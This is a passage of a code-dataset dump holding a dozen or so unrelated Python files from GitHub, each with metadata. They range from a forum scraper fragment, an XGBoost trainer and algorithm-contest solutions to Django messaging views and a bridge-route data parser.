(?P.*?)(?= )')\n # .*? .匹配任意字符，？非贪婪。 正则表达式的关键在于：卡住开头和结尾（固定字符），中间任意（.*?）\n temp_posts += onepost_patten.findall(temp_text)\n #得到这个页面的所有标题，分配到对应的days_input的item中\n\n for i in range(len(temp_posts)):#每一个标题计算一次\n temp_date = str_to_date(temp_posts[i][2])#日期取出来\n if(temp_date!=None):\n if(temp_date!=yesterday_date):#不想要\n not_the_day_wanted_count+=1\n pass\n else:\n j=0\n if(j==0):#如果没有这个日期\n days_input.append(oneday_input())#增加一个新对象，有新的日期\n days_input[-1].get_today_date(temp_date)#设置日期\n days_input[-1].get_all_postheader(temp_posts[i][1])#把帖子标题添加进来\n not_the_day_wanted_count=0\n j+=1\n else:\n days_input[-1].get_all_postheader(temp_posts[i][1])#把帖子标题添加进来\n\n page_num+=1\n time.sleep(3)#避免被封号\n#每天运行：\n '''\n import datetime\n while(1):\n now = datetime.datetime.now()\n if(now.minute ==25):#整点时读取主页的“在线人数”等\n temp_text = get_text_from_url(url_list,\"http://www.newsmth.net\",\"utf-8\")\n datetime.time.sleep(3590)\n else:\n datetime.time.sleep(50)\n'''\n\n\nif __name__ == \"__main__\" and USE_API:\n import byrapi\n token = 'xxxxx'\n API = byrapi.Byr(token)\n print(API.get_user_info(\"yigo3000\"))\n pass","repo_name":"yigo3000/stock","sub_path":"stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":8635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"}
+{"seq_id":"43632695516","text":"import xgboost as xgb\nimport re\nfrom sklearn.externals import joblib\noe = joblib.load(\"xgb_encoder.pkl\")\nfeature_list = oe.get_feature_names().tolist()\nfor ind in range(len(feature_list)):\n\tfeature_list[ind] = re.sub(\"[\\,\\<\\>\\[\\]]\",\" \",feature_list[ind])\nprint(len(feature_list))\ndtrain = xgb.DMatrix('xgb_matrix_train.txt')#,feature_names=[\"placeholder\"]+feature_list)\ndvalid = xgb.DMatrix(\"xgb_matrix_valid.txt\")#,feature_names=[\"placeholder\"]+feature_list)\nparam = {\"gamma\":0,'max_depth': 10, 'eta': 1, 'silent': 1, 'objective': 'binary:logistic',\"lambda\":0.01}\nparam['nthread'] = 16\nparam['eval_metric'] = 'auc'\nevallist = [(dtrain, 'train'),(dvalid,\"valid\")]\nnum_round = 100\nbst = xgb.train(param, dtrain, num_round, evallist)\nbst.save_model('simple.model')\n","repo_name":"roddink/CAD2","sub_path":"xgb_model.py","file_name":"xgb_model.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"28897392000","text":"import cv2\nfrom os.path import join\nfrom time import sleep\n\nname = input(\"Name: \")\n\ncap = cv2.VideoCapture(0)\npath = \"images/train_data\"\niters = 100\n\nprint('Start capturing now...')\n\nfor i in range(1, iters+1):\n _, frame = cap.read()\n\n filename = \"{}_{}.jpg\".format(name, i)\n cv2.imwrite(join(path, filename), frame)\n\n print(\"Captured for image {}\".format(i))\n # sleep(0.08)\n\nprint(\"Completed\")\n","repo_name":"nghiavt2906/test","sub_path":"collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"18721501366","text":"def day_03():\n with open(\"/Users/arun.yusuf/PycharmProjects/advent_of_code_2022/day_03_input.txt\") as d:\n d_list = d.read().split(\"\\n\")\n\n answer_1 = 0\n answer_2 = 0\n counter = 0\n\n for ruck in d_list:\n skip = \"\"\n counter += 1\n for char in ruck[len(ruck)//2:]:\n if char in ruck[:len(ruck)//2]:\n if char not in skip:\n if ord(char) > 96:\n answer_1 += ord(char) - 96\n skip += char\n else:\n answer_1 += ord(char) - 38\n skip += char\n if counter == 1:\n elf_one = ruck\n if counter == 2:\n elf_two = ruck\n if counter == 3:\n for char in ruck:\n if char in elf_one and char in elf_two:\n if ord(char) > 96:\n answer_2 += ord(char) - 96\n else:\n answer_2 += ord(char) - 38\n break\n counter = 0\n\n return answer_1, answer_2\n","repo_name":"arunyusuf/advent_of_code_2022","sub_path":"day_03.py","file_name":"day_03.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"18015836359","text":"N = int(input())\nA = list(map(int, input().split()))\n\ncumulative = [0]\nA.sort()\nfor i in range(N):\n cumulative.append(cumulative[i] + A[i])\n# print(A)\n# print(cumulative)\n\nfor i in range(N - 1, 0, -1):\n # print(i)\n if A[i] > cumulative[i] * 2:\n print(N - i)\n break\nelse:\n print(N)\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03786/s149696425.py","file_name":"s149696425.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"70236372137","text":"import random\nimport os\nimport logging\nimport sys\n\n# Adjust the path to include helper classes and functions\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../helper_classes_and_functions'))\nfrom config import BLOOD_PRESSURE_SOURCE_NAME, DIASTOLIC_RANGE, PATIENT_INFO_NAME, SYSTOLIC_RANGE\nfrom source_data_sender import SourceDataSender\nfrom config_loader import ConfigLoader\n\n# Configure logging for the script\nlogging.basicConfig(level=logging.INFO)\n\n\ndef generate_random_blood_pressure(patient_id):\n \"\"\"\n Generates a random blood pressure value.\n \"\"\"\n \n systolic = random.randint(*SYSTOLIC_RANGE)\n diastolic = random.randint(*DIASTOLIC_RANGE)\n return {\n \"Patient_ID\": patient_id,\n \"systolic\": systolic,\n \"diastolic\": diastolic\n }\n\n\n\nif __name__ == \"__main__\":\n patient_info_path = os.path.join(os.path.dirname(__file__), '../../consume_patient_details/patient_info.json')\n patient_info_config_loader = ConfigLoader(patient_info_path)\n patient_details = patient_info_config_loader.load_config(PATIENT_INFO_NAME)\n patient_id = patient_details[\"Patient_ID\"]\n\n config_file_path = os.path.join(os.path.dirname(__file__), '../../config/config.json')\n \n \n try:\n # Load configurations and initialize sender\n config_loader = ConfigLoader(config_file_path)\n config = config_loader.load_config(BLOOD_PRESSURE_SOURCE_NAME)\n sender = SourceDataSender(config)\n \n # Send continuous data\n sender.send_continuous_data(BLOOD_PRESSURE_SOURCE_NAME, lambda: generate_random_blood_pressure(patient_id))\n \n except Exception as e:\n logging.error(f\"Error: {e}\")\n\n\n","repo_name":"Licht2050/OP-Daten-Generator","sub_path":"vitalparam/blood_pressure/blood_pressure.py","file_name":"blood_pressure.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"17960683134","text":"boolean = {\n True: 'Sim',\n False: 'Nao',\n}\niboolean = {v: k for k, v in boolean.items()}\n\nconsultas = {\n 0: 'Ignorado',\n 1: 'Nenhuma',\n 2: 'de_1_a_3',\n 3: 'de_4_a_6',\n 4: '7_e_mais'\n}\niconsultas = {v: k for k, v in consultas.items()}\n\nescmae = {\n 0: 'Ignorado',\n 1: '0',\n 2: 'Nenhuma',\n 3: '1_a_3_anos',\n 4: '4_a_7_anos',\n 5: '8_a_11_anos',\n 6: '12_e_mais'\n}\niescmae = {v: k for k, v in escmae.items()}\n\nescmae2010 = {\n 0: 'Ignorado',\n 1: 'Sem_escolaridade',\n 2: 'Fundamental_II_(5a_a_8a_serie)',\n 3: 'Fundamental_I_(1a_a_4a_serie)',\n 4: 'Medio_(antigo_2o_Grau)',\n 5: 'Superior_incompleto',\n 6: 'Superior_completo'\n}\niescmae2010 = {v: k for k, v in escmae2010.items()}\n\nescmaeagr1 = {\n 0: 'Ignorado',\n 1: 'Sem_Escolaridade',\n 2: 'Fundamental_II_Incompleto_ou_Inespecifico',\n 3: 'Fundamental_I_Incompleto',\n 4: 'Ensinomedio_Incompleto_ou_Inespecifico',\n 5: 'Fundamental_II_Completo',\n 6: 'Fundamental_I_Incompleto_ou_Inespecifico',\n 7: 'Ensino_Medio_Completo',\n 8: 'Fundamental_II_Incompleto',\n 9: 'Superior_Incompleto',\n 10: 'Fundamental_I_Completo',\n 11: 'Ensino_Medio_Incompleto',\n 12: 'Superior_Completo'\n}\niescmaeagr1 = {v: k for k, v in escmaeagr1.items()}\n\nestcivmae = {\n 0: 'Ignorado',\n 1: 'Casada',\n 2: 'Solteira',\n 3: 'Uniao_consensual_(versoes_anteriores)',\n 4: 'Separado_judicialmente/Divorciado',\n 5: 'Viuva'\n}\niestcivmae = {v: k for k, v in estcivmae.items()}\n\ngestacao = {\n 0: 'Ignorado',\n 1: 'Menos_de_22_semanas',\n 2: '22_a_27_semanas',\n 3: '28_a_31_semanas',\n 4: '32_a_36_semanas',\n 5: '37_a_41_semanas',\n 6: '42_semanas_e_mais'\n}\nigestacao = {v: k for k, v in gestacao.items()}\n\ngravidez = {\n 0: 'Ignorado',\n 1: 'Unica',\n 2: 'Dupla',\n 3: 'Tripla_e_mais'\n}\nigravidez = {v: k for k, v in gravidez.items()}\n\nidanomal = {\n 0: 'Ignorado',\n 1: 'Nao',\n 2: 'Sim'\n}\niidanomal = {v: k for k, v in idanomal.items()}\n\nlocnasc = {\n 0: 'Ignorado',\n 1: 'Outros',\n 2: 'Outro_Estab_Saude',\n 3: 'Hospital',\n 4: 'Domicilio'\n}\nilocnasc = {v: k for k, v in locnasc.items()}\n\nparto = {\n 0: 'Cesareo',\n 1: 'Vaginal'\n}\niparto = {v: k for k, v in parto.items()}\n\nsexo = {\n 0: 'Ignorado',\n 1: 'Feminino',\n 2: 'Masculino'\n}\nisexo = {v: k for k, v in sexo.items()}\n\nstcesparto = {\n 0: 'Ignorado',\n 1: 'Nao_se_aplica',\n 2: 'Nao',\n 3: 'Sim'\n}\nistcesparto = {v: k for k, v in stcesparto.items()}\n\nsttrabpart = {\n 0: 'Ignorado',\n 1: 'Nao',\n 2: 'Sim',\n}\nisttrabpart = {v: k for k, v in sttrabpart.items()}\n\ntpapresent = {\n 0: 'Ignorado',\n 1: 'Cefalico',\n 2: 'Pelvica_ou_podalica',\n 3: 'Transversa',\n}\nitpapresent = {v: k for k, v in tpapresent.items()}\n\ntpdocresp = {\n 0: 'Ignorado',\n 1: 'RG',\n 2: 'CPF',\n 3: 'COREN',\n 4: 'CNES',\n 5: 'CRM',\n}\nitpdocresp = {v: k for k, v in tpdocresp.items()}\n\ntpfuncresp = {\n 0: 'Medico',\n 1: 'Enfermeiro',\n 2: 'Funcionario_do_cartorio',\n 3: 'Parteira',\n 4: 'Outros',\n}\nitpfuncresp = {v: k for k, v in tpfuncresp.items()}\n\ntpmetestim = {\n 0: 'Ignorado',\n 1: 'Outro_metodo',\n 2: 'Exame_fisico',\n}\nitpmetestim = {v: k for k, v in tpmetestim.items()}\n\ntpnascassi = {\n 0: 'Ignorado',\n 1: 'Medico',\n 2: 'Parteira',\n 3: 'Enfermeira/obstetriz',\n 4: 'Outros',\n}\nitpnascassi = {v: k for k, v in tpnascassi.items()}\n","repo_name":"ascle/etl_bases_tcc","sub_path":"utils/dicionario_lkg.py","file_name":"dicionario_lkg.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"}
+{"seq_id":"31754486726","text":"# coding=utf-8\n\n\ndef get_conditions(questions, n):\n questions.sort(key=lambda x: x[\"similarity\"], reverse=True)\n if questions[0][\"similarity\"] < 50:\n return {}\n num = n\n difficulty, point_id, black, teach_item_type = [], [], [], []\n subject = questions[0][\"subject\"]\n k = 0\n for question in questions:\n if \"knowledge_points\" in question and question[\"knowledge_points\"] and k <= 5:\n if question[\"similarity\"] >= 50:\n black.append(question['id'])\n d = question[\"knowledge_points\"][0][\"difficulty\"]\n p = question[\"knowledge_points\"][0][\"point_id\"]\n t = question[\"knowledge_points\"][0][\"teach_item_type\"]\n if d and d not in difficulty:\n difficulty.append(d)\n if p and p not in point_id:\n point_id.append(p)\n if t and t not in teach_item_type:\n teach_item_type.append(t)\n k += 1\n if subject != 0:\n continue\n elif question[\"subject\"] != 0:\n subject = question[\"subject\"]\n\n conditions = {\"difficulty\": difficulty, \"point_id\": point_id, \"teach_item_type\": teach_item_type, \\\n \"num\": num, \"black\": black, \"subject\": subject}\n\n return conditions\n\n\n'''\ndef get_conditions(questions, n):\n num = n\n difficulty, point_id, black, teach_item_type = [], [], [], []\n rank_high, rank_rec = rank_filter(questions, 'high'), rank_filter(questions, 'rec')\n if rank_high:\n subject = rank_high[-1][\"subject\"]\n elif not rank_high:\n subject = rank_rec[0][\"subject\"]\n for i in range(len(rank_high)):\n black.append(rank_high[i]['id'])\n for j in range(len(rank_rec)):\n d = rank_rec[j][\"knowledge_points\"][0][\"difficulty\"]\n p = rank_rec[j][\"knowledge_points\"][0][\"point_id\"]\n t = rank_rec[j][\"knowledge_points\"][0][\"teach_item_type\"]\n if d not in difficulty:\n difficulty.append(d)\n if p not in point_id:\n point_id.append(p)\n if t not in teach_item_type:\n teach_item_type.append(t)\n\n conditions = {\"difficulty\": difficulty, \"point_id\": point_id, \"teach_item_type\": teach_item_type,\\\n \"num\": num, \"black\": black, \"subject\": subject}\n\n return conditions\n\n\ndef rank_filter(questions, rank):\n questions_ranked = [] # similarity filter\n for i in range(len(questions)):\n if len(questions_ranked) == 5:\n break\n if rank == 'rec':\n if questions[i]['similarity'] < 50 and questions[i]['index_id'] == 0 and questions[i]['knowledge_points']:\n questions_ranked.append(questions[i])\n elif rank == 'high':\n if questions[i]['similarity'] >= 50 and questions[i]['index_id'] == 0:\n questions_ranked.append(questions[i])\n\n return questions_ranked\n'''","repo_name":"th0masli/question_recommendation","sub_path":"question/condition_rec.py","file_name":"condition_rec.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"72880936618","text":"name = \"helloworld\"\n\nfor i in name:\n print(i)\nelse:\n print(name)\n\ni = 1\nwhile True:\n print(\"i am superMan\")\n i = i + 1\n if i == 5:\n break\n\nj = 0\nwhile j < 5:\n print(\"i am superWoman\")\n j += 1\nelse:\n print(\"退出循环\")\n","repo_name":"DreamerPXY/python-study-project","sub_path":"一、基础语法/03_流程流转.py","file_name":"03_流程流转.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"15691525639","text":"### Brandon Python Slot Machine\r\nimport random\r\n#Variables\r\nwallet = 10\r\nspin_counter = 0\r\n\r\noutput_list = [\"@\", \"#\", \"7\"]\r\noutput_1 = output_list[random.randrange(len(output_list))]\r\noutput_2 = output_list[random.randrange(len(output_list))]\r\noutput_3 = output_list[random.randrange(len(output_list))]\r\n\r\nprint(\"Welcome To Brandon Python Slot Machine!\")\r\nprint(\"Here's 10 Coins On The House! \")\r\nprint(\"Cain Wallet = \", wallet)\r\n\r\ndef gamestart():\r\n global coin_input\r\n try:\r\n coin_input = int(input(\"Insert Coins (insert 0 to end game): \"))\r\n except ValueError:\r\n print(\"Give Me A Number!\")\r\n gamestart()\r\n\r\n if coin_input > wallet:\r\n print(coin_input, \"Is Not Enough!\")\r\n gamestart()\r\n elif coin_input == wallet:\r\n print(\"All Or Nothing Baby!\")\r\n slot_spin()\r\n elif coin_input == 0:\r\n print(\"You Came Out With: \", wallet, \"Coins!\")\r\n print(\"See You Next Time!\")\r\n quit()\r\n else:\r\n slot_spin()\r\n\r\ndef slot_spin():\r\n global coin_input\r\n global wallet\r\n global spin_counter\r\n wallet -= coin_input\r\n while coin_input > 0:\r\n global output_1\r\n output_1 = output_list[random.randrange(len(output_list))]\r\n global output_2\r\n output_2 = output_list[random.randrange(len(output_list))]\r\n global output_3\r\n output_3 = output_list[random.randrange(len(output_list))]\r\n\r\n coin_input = coin_input - 1\r\n spin_counter += 1\r\n\r\n print(f\" Spin:\", spin_counter)\r\n print(\" +=======+\")\r\n print(f\" [\", output_1, output_2, output_3, \"]\")\r\n print(\" +=======+\")\r\n\r\n if output_1 == output_2 and output_1 == output_3:\r\n wallet += 10\r\n print(\" JACKPOT!!!!\")\r\n else:\r\n print(\" Better Luck Next Time!\")\r\n print(\" \")\r\n print(\"Wallet = \", wallet)\r\n\r\n if wallet == 0:\r\n print(\" GAME OVER\")\r\n quit()\r\n\r\n gamestart()\r\n\r\ngamestart()\r\n\r\nprint(\"end\")","repo_name":"BrandonPham977/Brandon_Portfolio","sub_path":"Brandon's_Python_Slot_Mahine_Ver_1.py","file_name":"Brandon's_Python_Slot_Mahine_Ver_1.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"70904587497","text":"import sys\nfrom collections import deque\n\nN = int(sys.stdin.readline())\ndeq = deque()\n\nfor _ in range(N):\n data = sys.stdin.readline().split()\n\n if data[0] == 'push_front':\n deq.appendleft(data[1])\n elif data[0] == 'push_back':\n deq.append(data[1])\n elif data[0] == 'pop_front':\n if len(deq) > 0:\n print(deq.popleft()) \n else:\n print(-1)\n elif data[0] == 'pop_back':\n if len(deq) > 0:\n print(deq.pop())\n else:\n print(-1)\n elif data[0] == 'size':\n print(len(data[0]))\n elif data[0] == 'empty':\n if len(data) == 0:\n print(1)\n else:\n print(0)\n elif data[0] == 'front':\n if len(data) > 0:\n print(deq[0])\n else:\n print(-1)\n elif data[0] == 'back':\n if len(data) > 0:\n print(deq[-1])\n else:\n print(-1)\n print(deq)\n","repo_name":"dohun31/algorithm","sub_path":"2021/week_01/큐/1966.py","file_name":"1966.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"}
+{"seq_id":"20767345901","text":"# https://www.acmicpc.net/problem/2606\n\nimport sys\nimport collections\n\n\ninput = sys.stdin.readline\nn = int(input())\nm = int(input())\ngraph = collections.defaultdict(list)\n\nfor _ in range(m):\n N, M = map(int, input().split())\n graph[N].append(M)\n graph[M].append(N)\n\n\ndef bfs(current):\n route = [current]\n q = collections.deque([current])\n\n while q:\n pop = q.popleft()\n for node in graph[pop]:\n if node not in route:\n route.append(node)\n q.append(node)\n\n return route[1:]\n\n\nprint(len(bfs(1)))\n","repo_name":"feVeRin/Algorithm","sub_path":"problems/2606.py","file_name":"2606.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"20444696458","text":"from rest_framework import viewsets, status\nfrom .models import Conversation, Message, Notice\nfrom .serializers import ConversationSerializer, MessageSerializer\nfrom rest_framework.decorators import list_route\nfrom rest_framework.response import Response\nfrom redzza import utils\n\n\nclass ConversationViewSet(viewsets.ModelViewSet):\n queryset = Conversation.objects.all()\n serializer_class = ConversationSerializer\n http_method_names = ['get', 'head', 'delete']\n\n def destroy(self, request, *args, **kwargs):\n instance = self.get_object()\n if request.user != instance.notice.profile.user:\n return Response({'success': False, 'err': 'user-unauthorized'}, status=status.HTTP_401_UNAUTHORIZED)\n self.perform_destroy(instance)\n return Response({'success': True})\n\n def list(self, request):\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n def retrieve(self, request, pk=None):\n try:\n conversation = Conversation.getConversation(pk)\n if utils.getProfile(request.user) not in conversation.contestant.all():\n return Response({'success': False, 'err': 'user-unauthorized'}, status=status.HTTP_401_UNAUTHORIZED)\n conversations = [conversation]\n context = []\n for conversation in conversations:\n listContestants = utils.getProfileSimple(conversation.contestant.all())\n listReviews = utils.getProfileSimple(conversation.review.all())\n listNotices = utils.getDataNotice(conversation.notice.all(), fullData=False)\n listMessages = utils.getDataMessages(Message.search(conversation))\n context.append({'id': conversation.id, 'modified': conversation.modified, 'contestants': listContestants, 'notices': listNotices, 'reviews': listReviews, 'messages': listMessages})\n return Response({'success': True, 'data': context})\n except Exception as e:\n if hasattr(e, 'message'):\n err = e.message\n else:\n err = e\n return Response({'success': False, 'err': str(err)}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n\nclass MessageViewSet(viewsets.ModelViewSet):\n queryset = Message.objects.all()\n serializer_class = MessageSerializer\n\n\nclass ApiServicesViewSet(viewsets.ViewSet):\n\n # Inicio de conversacion\n @list_route(methods=['post'])\n def startConversation(self, request):\n try:\n user = request.user\n profileSender = utils.getProfile(user)\n idNotice = request.data.get('notice', None)\n notice = None if idNotice is None else Notice.getNotice(idNotice)\n idUserReceiver = request.data.get('user', None)\n profileReceiver = utils.getProfile(utils.getUser(idUserReceiver)) if notice is None else notice.profile\n profiles = []\n profiles.append(profileReceiver)\n profiles.append(profileSender)\n text = request.data.get('text', None)\n image = request.data.get('image', None)\n if profiles[0] == profiles[1]:\n return Response({'success': False, 'err': 'Message to myself not allowed'}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n if (text or image) and len(profiles) > 0:\n conversation = Conversation.create(profiles, notice)[0][0]\n Message.create(text, image, profileSender, conversation)\n utils.sendEmail(profiles[0].user.email, 'notifications/new_message.html')\n return Response({'success': True, 'msg': 'conversation-created'}, status=status.HTTP_201_CREATED)\n else:\n return Response({'success': False, 'err': 'Incomplete data'}, status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n if hasattr(e, 'message'):\n err = e.message\n else:\n err = e\n return Response({'success': False, 'err': str(err)}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n # Agrega mensaje a una conversacion\n @list_route(methods=['post'])\n def addMessage(self, request):\n # try:\n user = request.user\n profileSender = utils.getProfile(user)\n idConversation = request.data.get('conversation', None)\n conversation = Conversation.getConversation(idConversation)\n text = request.data.get('text', None)\n image = request.data.get('image', None)\n\n if (text or image) and conversation and profileSender:\n Message.create(text, image, profileSender, conversation)\n contestants = conversation.contestant.all()\n for profile in contestants:\n if profile != profileSender:\n utils.sendEmail(profile.user.email, 'notifications/new_message.html')\n return Response({'success': True, 'msg': 'message-created'}, status=status.HTTP_201_CREATED)\n else:\n return Response({'success': False, 'err': 'Incomplete data'}, status=status.HTTP_400_BAD_REQUEST)\n # except Exception as e:\n # if hasattr(e, 'message'):\n # err = e.message\n # else:\n # err = e\n # return Response({'success': False, 'err': str(err)}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n # Obtiene inbox de un usuario\n @list_route(methods=['get'])\n def getInbox(self, request):\n try:\n user = request.user\n profile = utils.getProfile(user)\n context = []\n conversations = Conversation.search(profile)\n for conversation in conversations:\n listContestants = utils.getProfileSimple(conversation.contestant.all())\n listReviews = utils.getProfileSimple(conversation.review.all())\n listNotices = utils.getDataNotice(conversation.notice.all(), fullData=False)\n listMessages = utils.getDataMessages(Message.search(conversation))\n context.append({'id': conversation.id, 'modified': conversation.modified, 'contestants': listContestants, 'notices': listNotices, 'reviews': listReviews, 'messages': listMessages})\n return Response({'success': True, 'data': context})\n except Exception as e:\n if hasattr(e, 'message'):\n err = e.message\n else:\n err = e\n return Response({'success': False, 'err': str(err)}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n # Obtiene numero de notificaciones de un usuario\n @list_route(methods=['get'])\n def getCountNotifications(self, request):\n try:\n user = request.user\n profile = utils.getProfile(user)\n count = Conversation.countNotifications(profile)\n return Response({'success': True, 'count': count})\n except Exception as e:\n if hasattr(e, 'message'):\n err = e.message\n else:\n err = e\n return Response({'success': False, 'err': str(err)}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n # Leido de conversacion\n @list_route(methods=['post'])\n def reviewConversation(self, request):\n try:\n user = request.user\n idProfile = utils.getProfile(user).id\n idConversation = request.data.get('conversation', None)\n Conversation.addReview(idProfile, idConversation)\n return Response({'success': True, 'msg': 'conversation-review'})\n except Exception as e:\n if hasattr(e, 'message'):\n err = e.message\n else:\n err = e\n return Response({'success': False, 'err': str(err)}, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n","repo_name":"larry852/redzza","sub_path":"inbox/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"7307142729","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom array import ArrayType\nimport sys\nimport threading\n\nsys.setrecursionlimit(10 ** 7) # max depth of recursion\nthreading.stack_size(2 ** 27) # new thread will get stack of such size\n\n\nclass TreeHeight:\n\n def read(self):\n self.n = int(sys.stdin.readline())\n self.parents = ArrayType(\"l\", (int(w) for w in\n sys.stdin.readline().split()))\n self.heights = ArrayType(\"l\", (0 for p in self.parents))\n\n def height(self, node):\n if not self.heights[node]:\n parent = self.parents[node]\n self.heights[node] = self.height(parent)\n\n if self.heights[node] == 1:\n return 1\n\n def compute_height(self):\n heights = ArrayType(\"h\", [0] * self.n)\n pending = [(node, parent) for node, parent in enumerate(self.parent)]\n while pending:\n postponed = []\n for node, parent in pending:\n if parent == -1:\n heights[node] = 1\n elif heights[parent]:\n heights[node] = heights[parent] + 1\n else:\n postponed.append((node, parent))\n pending = postponed\n return max(heights)\n\n\ndef main():\n tree = TreeHeight()\n tree.read()\n print(tree.compute_height())\n\n\nthreading.Thread(target=main).start()\n","repo_name":"pointtonull/algorithms","sub_path":"data_structures/P2 - Tree height/tree_height.py","file_name":"tree_height.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"5042837762","text":"def main():\n N = int(input())\n A = [list(map(int, input().split())) for _ in range(N)]\n INF = 10**18\n for i in range(N):\n A[i][i] = INF\n\n ans = 0\n for u in range(N):\n for v in range(u + 1, N):\n min_dist = INF\n for w in range(N):\n min_dist = min(min_dist, A[u][w] + A[w][v])\n if min_dist < A[u][v]:\n print(-1)\n exit()\n if A[u][v] < min_dist:\n ans += A[u][v]\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"valusun/Compe_Programming","sub_path":"AtCoder/ABC/ABC074/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"32936569492","text":"inFile = open('Homo_sapiens.GRCh37.75.lncrna.fa.fa.pep')\nouFile1 = open('Homo_sapiens.GRCh37.75.lncrna.fa.fa.pep-1', 'w')\nouFile2 = open('Homo_sapiens.GRCh37.75.lncrna.fa.fa.pep-2', 'w')\nD = {}\nwhile True:\n line1 = inFile.readline().strip()\n line2 = inFile.readline().strip()\n if line1:\n if line2.find('*') == -1:\n ouFile1.write(line1+ '\\n')\n ouFile1.write(line2+ '\\n')\n else:\n peps = line2.split('*')\n for i,x in enumerate(peps):\n if len(x) >= 95:\n D.setdefault(x, [])\n D[x].append(line1 + ':' + str(i))\n else:\n for k in D:\n ouFile2.write('\\t'.join(D[k])+'\\n')\n ouFile2.write(k + '\\n')\n break\ninFile.close()\nouFile1.close()\nouFile2.close()\n","repo_name":"wanghuanwei-gd/SIBS","sub_path":"lncRNA-MSMS/6-stop.py","file_name":"6-stop.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"17358709554","text":"from common import *\r\ndata = json.load(open(\"orbiter.json\")) #copy from https://www.orbiter.finance/static/js/app.ce6f5863.js and using demjson.decode and json.dumps\r\n\r\ndef chainname(c):\r\n return {\"mainnet\":\"Ethereum\", \"arbitrum\":\"Arbitrum\", \"optimism\":\"Optimism\", \"polygon\":\"Polygon\", \"zksync\":\"zkSync\"}.get(c,c)\r\n\r\nres = [HEADER]\r\nfor i in data:\r\n print(chainname(i[\"c1Name\"]), chainname(i[\"c2Name\"]))\r\n #[\"bridge\",\"srcchain\",\"srctoken\",\"dstchain\",\"dsttoken\",\"srctoken_contract\",\"dsttoken_contract\",\"srcholder\",\"dstholder\",\"isopen\",\"fee_fixed\",\"fee_percent\",\"fee_minfee\",\"fee_maxfee\",\"minamount\", \"liquidity\"]\r\n res.append([\"Orbiter\", chainname(i[\"c1Name\"]), i[\"tName\"], chainname(i[\"c2Name\"]), i[\"tName\"],\r\n i[\"t1Address\"], i[\"t2Address\"], i[\"makerAddress\"], i[\"makerAddress\"],\r\n True, i[\"c1TradingFee\"], i[\"c1GasFee\"]/10, 0, 0, i[\"c1MinPrice\"], i[\"c1MaxPrice\"],\r\n \"\"\r\n ])\r\n res.append([\"Orbiter\", chainname(i[\"c2Name\"]), i[\"tName\"], chainname(i[\"c1Name\"]), i[\"tName\"],\r\n i[\"t2Address\"], i[\"t1Address\"], i[\"makerAddress\"], i[\"makerAddress\"],\r\n True, i[\"c2TradingFee\"], i[\"c2GasFee\"]/10, 0, 0, i[\"c2MinPrice\"], i[\"c2MaxPrice\"],\r\n \"\"\r\n ])\r\nwritecsv(\"orbiter.txt\", res)","repo_name":"DeFiEye/BridgeEye","sub_path":"crosschain/orbiter.py","file_name":"orbiter.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"90"}
